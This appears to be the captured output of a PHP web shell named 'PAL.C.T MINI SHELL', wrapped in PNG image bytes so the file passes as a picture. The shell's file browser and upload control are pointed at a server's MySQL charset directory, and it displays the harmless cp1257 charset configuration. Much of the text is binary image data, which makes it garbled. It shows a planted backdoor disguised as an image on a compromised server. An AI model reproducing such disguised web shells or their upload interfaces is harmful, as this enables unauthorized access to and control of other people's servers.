php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/mysql/charsets/
upload
files >> //opt/lampp/share/mysql/charsets/cp1257.conf

# Configuration file for the cp1257 character set.

# The ctype array must have 257 elements.
  00
  20  20  20  20  20  20  20  20  20  28  28  28  28  28  20  20
  20  20  20  20  20  20  20  20  20  20  20  20  20  20  20  20
  48  10  10  10  10  10  10  10  10  10  10  10  10  10  10  10
  84  84  84  84  84  84  84  84  84  84  10  10  10  10  10  10
  10  81  81  81  81  81  81  01  01  01  01  01  01  01  01  01
  01  01  01  01  01  01  01  01  01  01  01  10  10  10  10  10
  10  82  82  82  82  82  82  02  02  02  02  02  02  02  02  02
  02  02  02  02  02  02  02  02  02  02  02  10  10  10  10  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  01  01  00  00  00  00  01  00  01  00  00  01  00  00  00  00
  01  00  00  00  00  00  00  00  01  00  00  01  00  00  01  00
  02  02  00  00  00  00  02  00  02  00  00  02  00  00  00  00
  02  00  00  00  00  00  00  00  02  00  00  02  00  00  02  00

# The to_lower array must have 256 elements.
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  40  61  62  63  64  65  66  67  68  69  6A  6B  6C  6D  6E  6F
  70  71  72  73  74  75  76  77  78  79  7A  5B  5C  5D  5E  5F
  60  61  62  63  64  65  66  67  68  69  6A  6B  6C  6D  6E  6F
  70  71  72  73  74  75  76  77  78  79  7A  7B  7C  7D  7E  7F
  80  81  82  83  84  85  86  87  88  89  8A  8B  8C  8D  8E  8F
  90  91  92  93  94  95  96  97  98  99  9A  9B  9C  9D  9E  9F
  A0  A1  A2  A3  A4  A5  A6  A7  A8  A9  AA  AB  AC  AD  AE  AF
  B0  B1  B2  B3  B4  B5  B6  B7  B8  B9  BA  BB  BC  BD  BE  BF
  E0  E1  C2  C3  C4  C5  E6  C7  E8  C9  CA  EB  CC  CD  CE  CF
  F0  D1  D2  D3  D4  D5  D6  D7  F8  D9  DA  FB  DC  DD  FE  DF
  E0  E1  E2  E3  E4  E5  E6  E7  E8  E9  EA  EB  EC  ED  EE  EF
  F0  F1  F2  F3  F4  F5  F6  F7  F8  F9  FA  FB  FC  FD  FE  FF

# The to_upper array must have 256 elements.
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  40  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  5B  5C  5D  5E  5F
  60  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  7B  7C  7D  7E  7F
  80  81  82  83  84  85  86  87  88  89  8A  8B  8C  8D  8E  8F
  90  91  92  93  94  95  96  97  98  99  9A  9B  9C  9D  9E  9F
  A0  A1  A2  A3  A4  A5  A6  A7  A8  A9  AA  AB  AC  AD  AE  AF
  B0  B1  B2  B3  B4  B5  B6  B7  B8  B9  BA  BB  BC  BD  BE  BF
  C0  C1  C2  C3  C4  C5  C6  C7  C8  C9  CA  CB  CC  CD  CE  CF
  D0  D1  D2  D3  D4  D5  D6  D7  D8  D9  DA  DB  DC  DD  DE  DF
  C0  C1  E2  E3  E4  E5  C6  E7  C8  E9  EA  CB  EC  ED  EE  EF
  D0  F1  F2  F3  F4  F5  F6  F7  D8  F9  FA  DB  FC  FD  DE  FF

# The sort_order array must have 256 elements.
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  40  41  43  44  46  47  4A  4B  4C  4D  50  51  52  53  54  55
  56  57  58  59  5B  5C  5F  60  61  4E  FF  62  63  64  65  66
  67  41  43  44  46  47  4A  4B  4C  4D  50  51  52  53  54  55
  56  57  58  59  5B  5C  5F  60  61  4E  FF  68  69  6A  6B  FF
  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF
  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF
  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF
  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF  FF
  42  4F  FF  FF  FF  FF  48  FF  45  FF  FF  49  FF  FF  FF  FF
  5A  FF  FF  FF  FF  FF  FF  FF  5E  FF  FF  5D  FF  FF  FF  FF
  FF  4F  FF  FF  FF  FF  48  FF  45  FF  FF  49  FF  FF  FF  FF
  5A  FF  FF  FF  FF  FF  FF  FF  5E  FF  FF  5D  FF  FF  FF  FF
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`